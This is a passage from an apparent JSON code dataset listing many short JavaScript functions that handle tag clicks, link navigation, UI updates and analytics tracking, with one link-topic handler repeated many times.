\n Showing ${results.length}\n Results for ${data.term.toUpperCase()}\n
\n \"+t[i].trim()+\"\";\n\t}\n\treturn links;\n}","function tagItem2(){\r\n var tagEdit = document.getElementsByTagName(\"tags-edit\");\r\n var tagEditTags = tagEdit.getElementsByTagName(\"tags-edit-tags\");\r\n \r\n tagEditTags.innerHTML += txtTag.innerText;\r\n /*\r\n * $(\".tags-edit .tags-edit-tags\").val( $(\".tags-edit\r\n * .tags-edit-tags\").val() + $(\"#txtTag\").val()); //\r\n * document.getElementById('tags-container-template');\r\n *\r\n * var popup = $(\".tags-edit .tags-edit-buttons\")\r\n * .find(\".goog-button-body\"); //\r\n * document.getElementById('tags-container-template');\r\n */\r\n var tagEditButton = tagEdit.getElementsByTagName(\"tags-edit-buttons\")[0];\r\n var popup = tagEditButton.getElementsByTagName(\"goog-button-body\")[0];\r\n \r\n simulateClick(popup);\r\n }","function handleContactLinkClicked(event) {\n ReactGA.event({ category: 'Contact Us Link', action: 'Clicked', label: event.target.href });\n }","function postTagInHtml(successData, neededValues) {\n //Add new tag span layout to page\n $('.contents a[href$=\\'' + neededValues.currentPageURL + '\\']').parent().after('' + neededValues.newTags + ' ');\n //Remove input field\n $('.tagInputOverview').remove();\n\n // Find new tag\n const newDeleteTagButton = $('a[href$=\\'' + neededValues.currentPageURL + '\\']').parent().parent().find('.deleteTagButton').first();\n // Assign hover listener to new tag\n deleteClickAndHoverEvent(newDeleteTagButton);\n}","tagSearch(event) {\n //Search for tags matching\n }","navigateHyperlink() {\n let fieldBegin = this.getHyperlinkField();\n if (fieldBegin) {\n this.fireRequestNavigate(fieldBegin);\n }\n }","function modifyAnchorTags(caller) {\n var tagParts, currentStateLink, isSamePage, pathHashCount;\n if (caller === \"modalPopupCtrl.pageContent\" || ctrl.currentLink === undefined) {\n currentStateLink = [];\n }\n else {\n currentStateLink = ctrl.currentLink.split('/');\n }\n $(ctrl.anchorTags).each(function (index) {\n if (ctrl.anchorTags[index].hasAttribute('href')) {\n var isExternalLink = ctrl.anchorTags[index].getAttribute('href').indexOf('http');\n if (isExternalLink === -1) {\n if (ctrl.anchorTags[index].getAttribute('href').indexOf('Page?$filter=contains(Title') !== -1) {\n $(ctrl.anchorTags[index]).attr('class', 'removed-link');\n var splittedArray = ctrl.anchorTags[index].getAttribute('href').split(\"'\");\n var pageTitle = null;\n if (splittedArray[1]) {\n pageTitle = splittedArray[1];\n }\n var docId = null;\n if (splittedArray[3]) {\n docId = splittedArray[3];\n }\n DocumentService.getAllPages(\"$filter=contains(tolower(Title),tolower('\" + pageTitle + \"')) and DocumentCode eq '\" + docId + \"'\")\n .then(function (result) {\n if (result.value.length > 0) {\n var popupData = '';\n var currentReleasePage = $.grep(result.value, function (e) { return e.ReleaseId === $rootScope.release; });\n if (currentReleasePage.length === 0) {\n if (result.value.length > 1) {\n popupData = createPopupData(result.value, index, caller);\n angular.element(ctrl.anchorTags[index]).attr('id', 'linktag' + index);\n angular.element(ctrl.anchorTags[index]).attr('data-toggle', 'dropdown');\n angular.element(ctrl.anchorTags[index]).attr('aria-haspopup', 'true');\n angular.element(ctrl.anchorTags[index]).attr('aria-expanded', 'false');\n $(ctrl.anchorTags[index]).wrap('');\n var linkText = angular.element(ctrl.anchorTags[index]).html();\n angular.element(ctrl.anchorTags[index]).html(linkText + \" \");\n angular.element(popupData).insertAfter(ctrl.anchorTags[index]);\n } else {\n currentReleasePage = result.value[0];\n }\n } else {\n currentReleasePage = currentReleasePage[0];\n }\n if (caller === \"modalPopupCtrl.pageContent\") {\n if (popupData === '') {\n $(ctrl.anchorTags[index]).on(\"click\", function () {\n $rootScope.reloadPopUpOnLnkClk(currentReleasePage.Id);\n }\n );\n var buttonNewTab = window.document.createElement('a');\n angular.element(buttonNewTab).attr('href', '' + ctrl.docCenterUrl + '#/docHome/document/' + currentReleasePage.DocumentId +\n '/page/' + currentReleasePage.Id + '');\n angular.element(buttonNewTab).attr('target', '_blank');\n var spanNewTab = window.document.createElement('span');\n angular.element(buttonNewTab).append(' ');\n angular.element(buttonNewTab).append(spanNewTab);\n angular.element(buttonNewTab).insertAfter(ctrl.anchorTags[index]);\n }\n }\n else {\n $(ctrl.anchorTags[index]).on(\"click\", function () {\n if (popupData === '') {\n ctrl.changeState(currentReleasePage.DocumentId, currentReleasePage.Id, null);\n }\n });\n }\n $(ctrl.anchorTags[index]).removeAttr(\"class\");\n $(ctrl.anchorTags[index]).attr('style', 'cursor: pointer;');\n }\n });\n $(ctrl.anchorTags[index]).removeAttr('href');\n return;\n }\n tagParts = ctrl.anchorTags[index].getAttribute('href').split('/');\n isSamePage = ctrl.anchorTags[index].getAttribute('issamepage');\n pathHashCount = ctrl.anchorTags[index].getAttribute('isPathHavingHash');\n if (tagParts.length > 0) {\n ctrl.items = tagParts[tagParts.length - 1].split('#');\n // Check if the link is in the same page.\n if (currentStateLink[currentStateLink.length - 1] === ctrl.items[0] || isSamePage === \"true\") {\n if (ctrl.items.length > 1) {\n (function (anchorId) {\n $(ctrl.anchorTags[index]).on(\"click\", function () {\n ctrl.goToHeading(anchorId);\n });\n }(ctrl.items[1]));\n }\n $(ctrl.anchorTags[index]).removeAttr('issamepage');\n\n } else {\n var documentId, pageId, achId;\n documentId = tagParts[2];\n pageId = ctrl.items[0];\n achId = ctrl.items[1];\n if (pathHashCount && parseInt(pathHashCount, 10) > 0) {\n if (ctrl.items.length > parseInt(pathHashCount, 10) + 1) {\n achId = ctrl.items[ctrl.items.length - 1];\n var pageIdArray = ctrl.items.slice(0, ctrl.items.length - 1);\n pageId = pageIdArray.join('#');\n } else {\n pageId = ctrl.items.join('#');\n achId = null;\n }\n $(ctrl.anchorTags[index]).removeAttr('isPathHavingHash');\n }\n $(ctrl.anchorTags[index]).on(\"click\", function () {\n ctrl.changeState(documentId, pageId, achId);\n });\n }\n $(ctrl.anchorTags[index]).attr('style', 'cursor: pointer;');\n $(ctrl.anchorTags[index]).removeAttr(\"class\");\n $(ctrl.anchorTags[index]).removeAttr('href');\n }\n } else {\n $(ctrl.anchorTags[index]).attr('target', '_blank');\n }\n }\n });\n }","function activateTag(tag) {\n //clear all tags in list of tag-active class\n var items = document.getElementsByClassName('tag-item');\n for(var i=0; i < items.length; i++) {\n items[i].classList.remove(\"tag-active\");\n }\n\n // set the selected tag's item to active\n var item = document.getElementById(tag + '-item');\n if(item) {\n item.classList.add(\"tag-active\");\n }\n}","static get tag() {\n return \"rich-text-editor-link\";\n }","function bindingArticleClick() {\n $('#rovat .content a').bind('click', function (event, ui) {\n document.getElementById(\"article-content\").src = this.dataset.url;\n });\n}","function makeItClickable(){\n\n }","function onTagsButtonTouched(e){\n\t// Only if the tag count is above 0\n\tif (media.tags.length) {\n\t\t// Load the tags view\n\t\tvar view = Alloy.createController(\"media/hashtags\", {\n\t\t\t\"tags\": media.tags\n\t\t}).getView();\n\t\n\t\taddViewToSections(view);\n\t} else {\n\t\tanimation.shake($.hashtagsButton);\n\t}\n}","function handleLinkClick(srcElement,cid){\t\t\n\t\tvar href = srcElement.href; \n\t\tvar temp = cid.split(\"|\")\n\t\tvar windowId = temp[0]\n\t\tvar id = temp[1]\n\n\t\tchrome.runtime.getBackgroundPage(function(eventPage) {\n\t\t\teventPage.switchTab(windowId,id);\n\t\t});\n}","function isOpenTag(params) {\r\n \r\n}","function handleFeatureLinkClick(evt)\n{\n console.log('a.feature.link was clicked');\n //set the image src to the anchor's href value\n featureImage.src = featureLink.href;\n\n //make the image visible\n featureImage.classList.remove('hidden');\n\n //dont want to load the image in the page\n evt.preventDefault();\n}","function TagMenu_initializeUI(newLinkStr) {\r\n var tagNames = new Array()\r\n var tagValues = new Array();\r\n \r\n var dom = dw.getDocumentDOM();\r\n\r\n // get the current selection\r\n var selNode, offsets;\r\n selNode = this.getSelectedTag();\r\n if (selNode) { //if selection is inside a tag, select the entire tag\r\n offsets = dw.nodeToOffsets(selNode);\r\n dw.setSelection(offsets[0],offsets[1]);\r\n }\r\n \r\n if (this.tagList.length == 1 && this.tagList[0] == \"A\") {\r\n\r\n // if no tag selection, ensure the selection is linkable\r\n if (!selNode) {\r\n selStr = dwscripts.trim(dwscripts.fixUpSelection(dom,false,true));\r\n if (selStr && !stringCanBeLink(selStr)) {\r\n offsets = dom.getSelection();\r\n dw.setSelection(offsets[1],offsets[1]); //move the insertion point after the selection\r\n selStr = \"\";\r\n }\r\n }\r\n\r\n // add a new link or a selection as the first item in the list\r\n if (selNode || !selStr) { //if sel is link, or no valid selection\r\n\r\n newLinkStr = (newLinkStr != null) ? newLinkStr : \"New Link\";\r\n\r\n //add generic new link item to menu\r\n tagNames.push(dwscripts.sprintf(MM.LABEL_CreateNewLink,newLinkStr));\r\n\t\t \r\n newLinkStr = dwscripts.entityNameDecode(newLinkStr);\r\n\t tagValues.push(\"createAtSelection+\"+newLinkStr);\r\n\r\n } else { //else selection could be converted to link, so add it\r\n var displayString = dwscripts.trim(selStr);\r\n displayString = displayString.replace(/\\s+/,\" \"); //replace all newlines and whitespace with a single space\r\n displayString = dwscripts.entityNameDecode(displayString);\r\n tagNames.push(MM.LABEL_SelectionLink+' \"' + displayString + '\"');\r\n tagValues.push(\"createAtSelection+\"+selStr);\r\n\r\n }\r\n }\r\n\r\n // add all other tags to menu\r\n var nodes = this.getTagElements();\r\n for (var i=0; i < nodes.length; i++) {\r\n\r\n tagNames.push(this.getNiceName(nodes[i], i));\r\n tagValues.push(nodes[i]);\r\n\r\n }\r\n \r\n // set the list control\r\n this.listControl = new ListControl(this.paramName); \r\n this.listControl.setAll(tagNames, tagValues);\r\n\r\n // if link currently selected, pick it in the list\r\n if (selNode) {\r\n this.pickValue(selNode);\r\n }\r\n}","function linkTopic(a) {\n a .on(\"click\", click);\n //.on(\"mouseover\", mouseover)\n //.on(\"mouseout\", mouseout);\n}","function update_utag_link(dsc) {\n if (dsc != '') {\n var omni_arr = dsc.split('|');\n // User Action Tracking for Global Navigation Menu.\n if (omni_arr[0] != '' && omni_arr[0] == 'global-nav' && omni_arr[1] != '') {\n omni_click_id = dsc;\n utag.link({\n \"event_name\": omni_arr[0],\n \"click_id\": omni_click_id\n });\n } else if (omni_arr[0] != '' && omni_arr[0] == 'social_share' && omni_arr[1] != '') {\n // User Action Tracking for Social Share.\n var omni_event_name = omni_arr[0];\n var omni_social_network = omni_arr[1];\n var omni_click_id = 'sharebar|' + omni_arr[1];\n utag.link({\n \"event_name\": omni_event_name,\n \"social_network\": omni_social_network,\n \"click_id\": omni_click_id\n });\n }\n }\n}","function Permalink_evc_click(event) {\r\n //cancel_event(event);\r\n //var id = this.parentNode.parentNode.parentNode.parentNode.parentNode.id;\r\n \r\n}","function addTagSearchTagListeners() {\n function redirectToTagPage(tag, datalist) {\n for (let dataTag of datalist.options) {\n if (dataTag.value.toUpperCase() === tag.toUpperCase()) {\n window.location.href = \"/tags/display/\" + encodeURIComponent(tag.toLowerCase());\n }\n }\n }\n\n try {\n const searchBar = document.getElementById(\"tag-search\");\n const datalist = document.getElementById(\"tag-results\");\n searchBar.addEventListener('input', (e) => {\n if (e.constructor.name !== 'InputEvent') {\n // then this is a selection, not user input\n redirectToTagPage(searchBar.value, datalist)\n }\n while (datalist.firstChild) {\n datalist.removeChild(datalist.firstChild);\n }\n const query = searchBar.value;\n if (query) {\n searchTags(query);\n }\n });\n searchBar.addEventListener('keyup', e => {\n if (e.key === 'Enter') {\n redirectToTagPage(searchBar.value, datalist);\n }\n })\n } catch (err) {\n //do nothing. Just to avoid errors if the correct page is not loaded\n }\n}","function getClickTag() {\n return window.clickTag || 'http://www.google.com';\n }","function construct_tag(tag_name){\n render_tag = '' + tag_name + ' '\n return render_tag\n}","handleAddTag(cardId, text = '') {}","function handleClick(e) {\n if (e.target.nodeName === \"A\") {\n e.preventDefault();\n console.log(\"markdown link click\")\n if (e.target.href) {\n const url = new URL(e.target.href);\n //if it is an internal link, push to history so page doesnt refresh\n if (url.hostname.indexOf(\".hotter.com\") > -1 || url.hostname === \"localhost\" || url.hostname.indexOf(\"hotter-amplience-poc.herokuapp.com\") > -1) {\n history.push(e.target.pathname);\n } else {\n //otherwise open new tab\n window.open(url.href, \"_blank\")\n }\n }\n }\n}","handleLinkEvent(event, link) {\n if (this.renderer && this.renderer.handleLinkEvent) {\n this.renderer.handleLinkEvent(this.editorContext, event, link);\n }\n }","function linkedInButton() {\n var s = s_gi(s_account);\n s.eVar2 = 'LinkedIn';\n s.events = 'event12';\n s.trackExternalLinks = false;\n s.linkTrackVars = 'eVar2,events';\n s.linkTrackEvents = 'event12';\n s.tl(this, 'o', s.eVar2);\n}","function onLinkClicked(element) {\n const section = document.querySelector('#'+element.dataset.section);\n checkSectionsInView();\n scrollTO(section);\n}","_onClickUrl(urlLink) {\n //Alert.alert(\"clicked\");\n Linking.openURL(\"http://\"+urlLink);\n \n }","function onLinkRated() {\r\n\tvar taskIdx = selectedTaskIdx();\r\n\tvar search = getSearch(taskIdx, gCurrentSearch.query);\r\n\tif (search) {\r\n\t\tvar link = getLink(search, gCurrentSearch.url);\r\n\t\tif (link) {\r\n\t\t\tvar rating = this.id == \"helpful_button\" ? HELPFUL_RATING : UNHELPFUL_RATING;\r\n\t\t\taddLinkRated(taskIdx, search.query, link.url, link.title, rating, true);\r\n\t\t\tupdateSearchHistory();\r\n\t\t\tswitchToSearch();\r\n\t\t}\r\n\t}\r\n}","function linkClick(link) {\n\t\tsubjectRead(subjects);\n\t\t$(links[link]).css(\"z-index\",\"1\");\n\t\t$(links[link]).css(\"opacity\",\"1\");\n\t\t$(link).css(\"background-color\",\"#8C6954\");\n\t\t$(link).css(\"color\",\"white\");\n\t\t$.each(links, function (key,value)\n\t\t{\n\t\t\tif (key!=link)\n\t\t\t{\n\t\t\t\t$(links[key]).css(\"z-index\",\"0\");\n\t\t\t\t$(links[key]).css(\"opacity\",\"0\");\n\t\t\t\t$(key).css('background-color','#59323C');\n\t\t\t\t$(key).css(\"color\",\"#F2EEB3\");\n\t\t\t}\n\t\t});\n\t}","registerClick() {\n \n if(this.state.block_Highlight) { \n this.setState({\n block_Highlight:false, \n })\n saveVisitedAdaptation(\"Block_User\",\"NewsFeed_highlight\");\n }\n\n registerEvent('Clicked on '+this.props.name+\"'\\s profile link to visit their profile page\", 'from post '+this.props.index,(this.props.forTimeline?\"Timeline\":\"NewsFeed\")); \n }","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}","function linkTopic(a) {\n a .on(\"click\", click)\n .on(\"mouseover\", mouseover)\n .on(\"mouseout\", mouseout);\n}"],"string":"[\n \"function onTagClick(e) {\\r\\n console.log(e.detail);\\r\\n console.log(\\\"onTagClick: \\\", e.detail);\\r\\n }\",\n \"function onTagClick(e){\\n console.log(e.detail);\\n console.log(\\\"onTagClick: \\\", e.detail);\\n }\",\n \"function onClickTag(e)\\n{\\n\\tif (!e) var e = window.event;\\n\\tvar theTarget = resolveTarget(e);\\n\\tvar popup = Popup.create(this);\\n\\tvar tag = this.getAttribute(\\\"tag\\\");\\n\\tvar title = this.getAttribute(\\\"tiddler\\\");\\n\\tif(popup && tag)\\n\\t\\t{\\n\\t\\tvar tagged = store.getTaggedTiddlers(tag);\\n\\t\\tvar titles = [];\\n\\t\\tvar li,r;\\n\\t\\tfor(r=0;r 0)\\n\\t\\t\\t{\\n\\t\\t\\tvar openAll = createTiddlyButton(createTiddlyElement(popup,\\\"li\\\"),lingo.openAllText.format([tag]),lingo.openAllTooltip,onClickTagOpenAll);\\n\\t\\t\\topenAll.setAttribute(\\\"tag\\\",tag);\\n\\t\\t\\tcreateTiddlyElement(createTiddlyElement(popup,\\\"li\\\"),\\\"hr\\\");\\n\\t\\t\\tfor(r=0; rTag archive: ' + this.innerHTML + ' ' + '(' + tag_doc.length + ')')\\n //recalculate the total number of pages\\n page_num = Math.ceil(tag_doc.length/4);\\n $('#page').text('page ' + current_page + ' of ' + page_num);\\n //If only one page exists, then hide the \\\"older\\\" button\\n if (page_num == 1) {\\n $(\\\"#older\\\").hide();\\n } else {\\n $(\\\"#older\\\").show();\\n }\\n show_post_by_page(current_page, tag_doc);\\n add_transition();\\n //self call function\\n click_tag();\\n })\\n }\",\n \"function clicktags(){\\n $(\\\".listtags a\\\").each(function(i){\\n $(this).click(function(e) {\\n $(this).remove();\\n registertags();\\n return false;\\n });\\n });\\n }\",\n \"function onClick(link){\\n \\n}\",\n \"function onTagChange() {\\n\\n\\t}\",\n \"function tagItem1(){\\r\\n var current = getCurrentEntry();\\r\\n var currentEntry = current.getElementsByTagName(\\\"entry-tagging-action-title\\\")[0];\\r\\n // var currentEntry = $(\\\"#current-entry .entry-actions\\r\\n // .entry-tagging-action-title\\\");\\r\\n simulateClick(currentEntry);\\r\\n }\",\n \"onTagClick(tag) {\\n\\t\\tlet tags = storeActions.getTags();\\n\\n\\t\\tif (tags.includes(tag)) {\\n\\t\\t\\tstoreActions.deleteTag(tag);\\n\\t\\t} else {\\n\\t\\t\\tstoreActions.addTag(tag)\\n\\t\\t}\\n\\t}\",\n \"function tagClick(e, element) {\\n\\te.stopPropagation(); //impedisce che venga chiamato l'onclick del div padre.\\n\\tsetTag(element.value);\\n}\",\n \"function links_click_event(event) {\\n console.log(\\\"works link\\\");\\n}\",\n \"function handleClickedLink( url, view ) {\\n\\t// return true if the link was handled or to prevent other plugins or Colloquy from handling it\\n\\treturn false;\\n}\",\n \"function _handleTagClick(e) {\\n var labelTags = status.targetLabel.getProperty('tagIds');\\n\\n // Use position of cursor to determine whether the click came from the mouse or from a keyboard shortcut.\\n var wasClickedByMouse = e.hasOwnProperty(\\\"originalEvent\\\") &&\\n e.originalEvent.clientX !== 0\\n && e.originalEvent.clientY !== 0;\\n\\n $(\\\"body\\\").unbind('click').on('click', 'button', function(e) {\\n if (e.target.name === 'tag') {\\n // Get the tag_id from the clicked tag's class name (e.g., \\\"tag-id-9\\\").\\n var currTagId = parseInt($(e.target).attr('class').split(\\\" \\\").filter(c => c.search(/tag-id-\\\\d+/) > -1)[0].match(/\\\\d+/)[0], 10);\\n var tag = self.labelTags.filter(tag => tag.tag_id === currTagId)[0];\\n\\n // Adds or removes tag from the label's current list of tags.\\n if (!labelTags.includes(tag.tag_id)) {\\n // Deals with 'no alternate route' and 'alternate route present' being mutually exclusive.\\n var alternateRoutePresentId = self.labelTags.filter(tag => tag.tag === 'alternate route present')[0].tag_id;\\n var noAlternateRouteId = self.labelTags.filter(tag => tag.tag === 'no alternate route')[0].tag_id;\\n // Automatically deselect one of the tags above if the other one is selected.\\n if (currTagId === alternateRoutePresentId) {\\n labelTags = _autoRemoveAlternateTagAndUpdateUI(noAlternateRouteId, labelTags);\\n } else if (currTagId === noAlternateRouteId) {\\n labelTags = _autoRemoveAlternateTagAndUpdateUI(alternateRoutePresentId, labelTags);\\n }\\n\\n // Deals with 'street has a sidewalk' and 'street has no sidewalks' being mutually exclusive.\\n var streetHasOneSidewalkId = self.labelTags.filter(tag => tag.tag === 'street has a sidewalk')[0].tag_id;\\n var streetHasNoSidewalksId = self.labelTags.filter(tag => tag.tag === 'street has no sidewalks')[0].tag_id;\\n // Automatically deselect one of the tags above if the other one is selected.\\n if (currTagId === streetHasOneSidewalkId) {\\n labelTags = _autoRemoveAlternateTagAndUpdateUI(streetHasNoSidewalksId, labelTags);\\n } else if (currTagId === streetHasNoSidewalksId) {\\n labelTags = _autoRemoveAlternateTagAndUpdateUI(streetHasOneSidewalkId, labelTags);\\n }\\n\\n // Log the tag click.\\n labelTags.push(tag.tag_id);\\n if (wasClickedByMouse) {\\n svl.tracker.push('ContextMenu_TagAdded', { tagId: tag.tag_id, tagName: tag.tag });\\n } else {\\n svl.tracker.push('KeyboardShortcut_TagAdded', { tagId: tag.tag_id, tagName: tag.tag });\\n }\\n } else {\\n var index = labelTags.indexOf(tag.tag_id);\\n labelTags.splice(index, 1);\\n if (wasClickedByMouse) {\\n svl.tracker.push('ContextMenu_TagRemoved', { tagId: tag.tag_id, tagName: tag.tag });\\n } else {\\n svl.tracker.push('KeyboardShortcut_TagRemoved', { tagId: tag.tag_id, tagName: tag.tag });\\n }\\n }\\n _toggleTagColor(labelTags, tag.tag_id, e.target);\\n status.targetLabel.setProperty('tagIds', labelTags);\\n e.target.blur();\\n $tagHolder.trigger('tagIds-updated'); // For events that depend on up-to-date tagIds.\\n }\\n });\\n }\",\n \"function onClickTagOpenAll(e)\\n{\\n\\tif (!e) var e = window.event;\\n\\tvar tag = this.getAttribute(\\\"tag\\\");\\n\\tvar tagged = store.getTaggedTiddlers(tag);\\n\\tfor(var t=tagged.length-1; t>=0; t--)\\n\\t\\tstory.displayTiddler(this,tagged[t].title,null,false,e.shiftKey || e.altKey);\\n\\treturn(false);\\n}\",\n \"onAddTag() {}\",\n \"function tagClickCallback() {\\n if (status.applied) {\\n sg.tracker.push(\\\"TagUnapply\\\", null, {\\n Tag: properties.tag,\\n Label_Type: properties.label_type\\n });\\n unapply();\\n } else {\\n sg.tracker.push(\\\"TagApply\\\", null, {\\n Tag: properties.tag,\\n Label_Type: properties.label_type\\n });\\n apply();\\n }\\n\\n sg.cardFilter.update();\\n }\",\n \"function initTagClicks(){\\n\\t\\t\\tconsole.log(\\\"initTagClicks\\\");\\n\\t\\t\\t$(\\\"ul.tags li\\\").click(jQuery.scope(onTagClick,this));\\n\\t\\t}\",\n \"function Tagged() {\\r\\n}\",\n \"click(e){\\r\\n if ( this.url ){\\r\\n bbn.fn.link(this.url);\\r\\n }\\r\\n else{\\r\\n this.$emit('click', e);\\r\\n }\\r\\n }\",\n \"function handleClick(el,e) {\\n\\tloadURL(el.attributes.target,el.text);\\n}\",\n \"function onLinkClick(linkClicked) {\\n\\n // Determines the number of the clicked button\\n const linkNumber = String(linkClicked.textContent);\\n\\n // Removes any class names from the anchor tags\\n resetLinkClassNames();\\n\\n // Adds an active class to the selected button\\n linkClicked.className = \\\"active\\\";\\n\\n // Remakes the links based on button number clicked\\n placePaginatedLinks(linkNumber);\\n\\n}\",\n \"function onentertag() {\\n currentTag = {\\n type: 'mdxTag',\\n name: null,\\n close: false,\\n selfClosing: false,\\n attributes: []\\n }\\n }\",\n \"function onTagChange($e,$data){\\n\\t\\t\\taddTag($data.item.value);\\n\\t\\t}\",\n \"function openlink(upperCase){\\n clickAnchor(upperCase,getItem(\\\"link\\\"));\\n}\",\n \"function tagHandler(event) {\\n let page;\\n let list;\\n if (!allRecipesDisplay.classList.contains('hidden')\\n && !tagList.classList.contains('hidden')) {\\n page = allRecipesDisplay;\\n list = instantiatedRecipes;\\n } else if (!favoriteRecipesDisplay.classList.contains('hidden')\\n && !tagList.classList.contains('hidden')) {\\n page = favoriteRecipesDisplay;\\n list = currentUser.lists.favoriteRecipes\\n }\\n runTag(page, list);\\n resetTagsIfEmpty();\\n}\",\n \"function handleLinkClick(event) {\\n\\t\\tvar linkLabel = event.currentTarget.id;\\n\\t\\tvar url;\\n\\t\\tswitch(linkLabel) {\\n\\t\\t\\tcase 'pivotal' :\\n\\t\\t\\t\\turl = \\\"http://www.gopivotal.com/\\\";\\n\\t\\t\\t\\twindow.open(url, '_blank');\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase 'support' :\\n\\t\\t\\t\\turl = \\\"https://support.gopivotal.com/hc/en-us\\\";\\n\\t\\t\\t\\twindow.open(url, '_blank');\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase 'feedback' :\\n\\t\\t\\t\\turl = \\\"http://www.gopivotal.com/contact\\\";\\n\\t\\t\\t\\twindow.open(url, '_blank');\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase 'help' :\\n\\t\\t\\t\\turl = \\\"../../static/docs/gpdb_only/index.html\\\";\\n\\t\\t\\t\\twindow.open(url, '_blank');\\n\\t\\t\\t\\tbreak;\\n\\t\\t\\tcase 'logout' :\\n\\t\\t\\t\\tlogoutClick();\\n\\t\\t\\t\\tbreak;\\n\\t\\t}\\n\\t}\",\n \"function onClickEventHandler(event){\\n \\n var target = event.target;\\n if(target && target.getAttribute(\\\"cricket\\\", \\\"1\\\")) {\\n \\n var url = target.getAttribute(\\\"value\\\");\\n if(url) {\\n loadLink(event, url, false);\\n }\\n }\\n}\",\n \"function updateTags(tags) {\\n $('#tags').empty();\\n tags = Object.keys(tags);\\n tags = tags.sort();\\n $.each(tags, function(index, tag) {\\n var taglink = $('')\\n .text(tag)\\n .addClass('taglink')\\n .bind('click', function() {\\n updateTagView(readTagView(), tag);\\n });\\n $('#tags').append(taglink);\\n });\\n}\",\n \"function listenToATags() {\\n $('a.tooltipped').on('click', (e) => {\\n // Close the tooltip for the clicked a element\\n closeToolTip(e.currentTarget);\\n });\\n}\",\n \"function selectTag(tag) {\\n //update list of tags to reflect which is active\\n activateTag(tag);\\n\\n activeTag = tag;\\n\\n //display results\\n filter();\\n}\",\n \"function onLinkClick( event ){\\n event.preventDefault();\\n var link = event.target,\\n html = link.innerHTML;\\n link.innerHTML = 'Click';\\n link.className = 'item clicked';\\n setTimeout( function(){\\n link.innerHTML = link.getAttribute('data-num');\\n link.className = 'item';\\n }, 500 );\\n return false;\\n }\",\n \"function torrentOnClick(info, tab) {\\r\\n add_torrent(info.linkUrl);\\r\\n}\",\n \"function setDrawEventListener(tagIdName, flagHTML) {\\n var link = document.getElementById(tagIdName);\\n\\n link.addEventListener(\\\"click\\\", function (event) {\\n addHTML(\\\"flag\\\", flagHTML);\\n // Prevent the link tag from following a url.\\n event.preventDefault();\\n });\\n }\",\n \"function handleLinkClick(event) {\\n event.preventDefault();\\n console.dir(event);\\n}\",\n \"openTag() {\\n var _a;\\n this.processAttribs();\\n const { tags } = this;\\n const tag = this.tag;\\n tag.isSelfClosing = false;\\n // There cannot be any pending text here due to the onopentagstart that was\\n // necessarily emitted before we get here. So we do not check text.\\n // eslint-disable-next-line no-unused-expressions\\n (_a = this.openTagHandler) === null || _a === void 0 ? void 0 : _a.call(this, tag);\\n tags.push(tag);\\n this.state = S_TEXT;\\n this.name = \\\"\\\";\\n }\",\n \"function appendTags() {\\n \\n $.each(availableTags, function(k, tag) {\\n $('#DataTags').append(\\n ''+tag+' '\\n );\\n });\\n \\n }\",\n \"function tag_click(tagButton) {\\n let id = tagButton.className.substring(40);\\n uploadTagArray[parseInt(id)].tag = tagButton.innerHTML;\\n $(\\\"#word\\\" + id).css(\\\"background-color\\\", getTagColor(tagButton.innerHTML, availableOptionArray));\\n}\",\n \"function fnVoltarLink() {\\r\\n\\tvar oLink = document.links[0];\\r\\n\\toLink.innerHTML = \\\"Pegar Feeds\\\";\\r\\n\\toLink.className = \\\"\\\";\\r\\n\\toLink.onclick = fnGo;\\r\\n}\",\n \"function tagInvoked(e) {\\n tagcloud.splice(e.detail.itemPromise._value.index, 1);\\n\\n if (document.getElementById(\\\"b1\\\").innerText == \\\"_________\\\") {\\n document.getElementById(\\\"b1\\\").innerText = e.detail.itemPromise._value.data.name;\\n searchTags(e.detail.itemPromise._value.data.name);\\n //getMixes(1, \\\"\\\", document.getElementById(\\\"b1\\\").innerText, \\\"\\\", 8, 4);\\n }\\n else if (document.getElementById(\\\"b2\\\").innerText == \\\"_________\\\") {\\n 